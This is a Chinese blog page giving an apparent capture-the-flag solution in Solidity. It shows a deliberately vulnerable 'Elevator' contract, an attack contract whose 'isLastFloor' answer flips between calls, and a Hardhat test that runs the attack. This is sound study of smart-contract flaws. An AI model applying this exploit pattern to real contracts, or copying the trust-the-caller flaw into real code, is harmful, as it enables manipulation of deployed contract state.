- 浏览: 725386 次
- 性别:
- 来自: 深圳
文章分类
- 全部博客 (1044)
- 数据结构 (36)
- UML与设计模式 (42)
- c++ (87)
- rust (36)
- Qt (41)
- boost模板元编程 (43)
- Linux (77)
- 汇编 (4)
- 其它 (2)
- 烹饪 (3)
- unix c / socket (73)
- 软件工程 (4)
- shell (53)
- Python (37)
- c++ primer 5th(c++11) (22)
- 数据库/MySQL (27)
- 数据存储 (4)
- lisp (7)
- git (4)
- Utility (3)
- CDN与DNS (54)
- Http (53)
- php (7)
- nginx/lua/openresty (41)
- redis (11)
- TCP/IP (16)
- 互联网 (6)
- kernel (2)
- go (34)
- 区块链 (43)
- 比特股 (13)
- 以太坊 (23)
- 比特币 (23)
- 密码学 (10)
- EOS (53)
- DAG (1)
- docker (1)
- filecoin (7)
- solidity (64)
- ipfs (8)
- 零知识证明 (1)
- openzeppelin (3)
- java (1)
- defi (7)
最新评论
Elevator.sol
// SPDX-License-Identifier: MIT pragma solidity >= 0.6.0; import "hardhat/console.sol"; interface Building { function isLastFloor(uint256) external returns (bool); } contract Elevator { bool public top; uint256 public floor; function test(uint256 _floor) public{ console.log("test"); } function goTo(uint256 _floor) public { Building building = Building(msg.sender); if(!building.isLastFloor(_floor)) { console.log("go"); floor = _floor; top = building.isLastFloor(floor); console.logBool(top); } } }
// SPDX-License-Identifier: MIT pragma solidity >= 0.6.0; import "hardhat/console.sol"; import "./Elevator.sol"; contract ElevatorAttack { uint floor; function isLastFloor(uint256 _floor) external returns (bool){ console.log("inherit"); if(floor==_floor){ return true; } floor = _floor; console.log("isLastFloor"); return false; } function attack(address addr) external{ //创建新合约 Elevator elevator = new Elevator(); elevator.goTo(10); } }
const { expect } = require("chai"); const { ethers } = require("hardhat"); contractName = "Elevator"; attackContractName = "ElevatorAttack"; describe(contractName, function () { it("test ", async function () { const Contract = await ethers.getContractFactory(contractName); const contract = await Contract.deploy(); const AttackContract = await ethers.getContractFactory(attackContractName); const attackContract = await AttackContract.deploy(); await attackContract.attack(contract.address); }); });
发表评论
-
TypeError:ethers_1.getAddress
2024-04-29 10:45 18package.json 添加:"@nomicfou ... -
solidity
2023-02-25 14:23 12一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 11一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 120一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
Address
2023-02-23 10:54 5// contracts/Box.sol // SPDX ... -
Address
2023-02-23 10:50 109// contracts/Box.sol // SPDX ... -
Beacon
2023-02-20 11:45 109Beacon a.Implementation地址并不存放在P ... -
UUPS
2023-02-17 16:16 140a.Proxy直接把所有的请求都通过delegatecall丢 ... -
Transparent
2023-02-16 15:44 110Transparent: a.如果Proxy合约发现自己被Pr ... -
string转bytes
2023-02-16 11:04 172const data = Buffer.from(''); ... -
hardhat命令
2023-02-13 09:58 2181.前置准备,运行一个新项目 mkdir my-project ... -
multicall
2023-01-31 20:11 148multicall的solidity调用与ethers.js调 ... -
检查是否是721
2023-01-31 15:18 95// SPDX-License-Identifier: M ... -
EVM操作码
2023-01-25 10:33 2042.栈和内存操作码 2.1 POP:取出栈顶元素 2.2 PU ... -
计算合约地址
2023-01-19 11:27 172EVM会根据发送者地址和nonce经过RLP编码后再进行kec ... -
标准修饰符
2023-01-18 17:03 881.internal:类似c++中的protected,通过J ... -
ABI编码函数
2023-01-17 10:40 2001. abi.encode()returns(bytes):对 ... -
数据位置
2023-01-17 10:24 1121.函数参数包括返回的参数默认是memory 2.局部变量默认 ... -
随机数
2023-01-17 10:06 114https://www.paradigm.xyz/2023/0 ... -
extcodesize
2023-01-16 11:16 207extcodesize取出的byte code长度,若长度大于 ...
相关推荐
algorithm that has been designed by ThyssenKrupp Elevator Company for the express purpose of evacuating mid to high rise buildings and demonstrates the reduced time of egress as opposed to traditional...
var elevator = new Elevator({ mainAudio: '/src/to/audio.mp3', endAudio: '/src/to/end-audio.mp3' }); } // You can run the elevator, by calling. elevator.elevate(); [removed] ...
elevator.exe
电梯群控系统服务质量和运行效能评估软件设计与实现 建立了电梯客流到达模型,然后建立了6种电梯群调度模型
赵昊伟_C语言学习电梯程序Elevator
python库,解压后可用。 资源全名:stix2_elevator-1.0.0-py2.py3-none-any.whl
Elevator电梯仿真,采用语言:C++,用VC6.0测试过
使用java语言实现的elevator模拟程序
this is the java code for elevator which can be applied on elevator operation.
this is a elevator simulator,winform,csharp,and ds
资源:一份源代码,一份英文报告。英文报告包括了模拟运行结果(20步随机),还有CTL以及CTL验证结果,最后一些简单说明。
SYSTEM ELEVATOR DISPLAY
STM32 mini开发板,实现触摸电梯升降小程序
基于java的控制台模拟电梯捎带系统。电梯捎带系统
三菱PLC的FX2N-32MR四层电梯控制实验,设备THPLC-1A型 电气控制综合实验台、RS—232数据通信线、THPLC-DT型四层电梯实物教学模型。
本程序是模拟现实中的电梯程序。显示上会有区别 本程序采用的是自定义的Delay函数,并没有使用timer。 若有想修改的,自行修改即可。 本程序可以精简,但因为编者本人的某些原因才改成这样。
用cocos2d-x引擎开发的C++电梯模拟调度程序,有可视化的界面。
Elevator_Standards_EN8120_and_EN8150_tcm26278803共2页.pdf
University project for an elevator for disable people.
elevator_sim.pro.user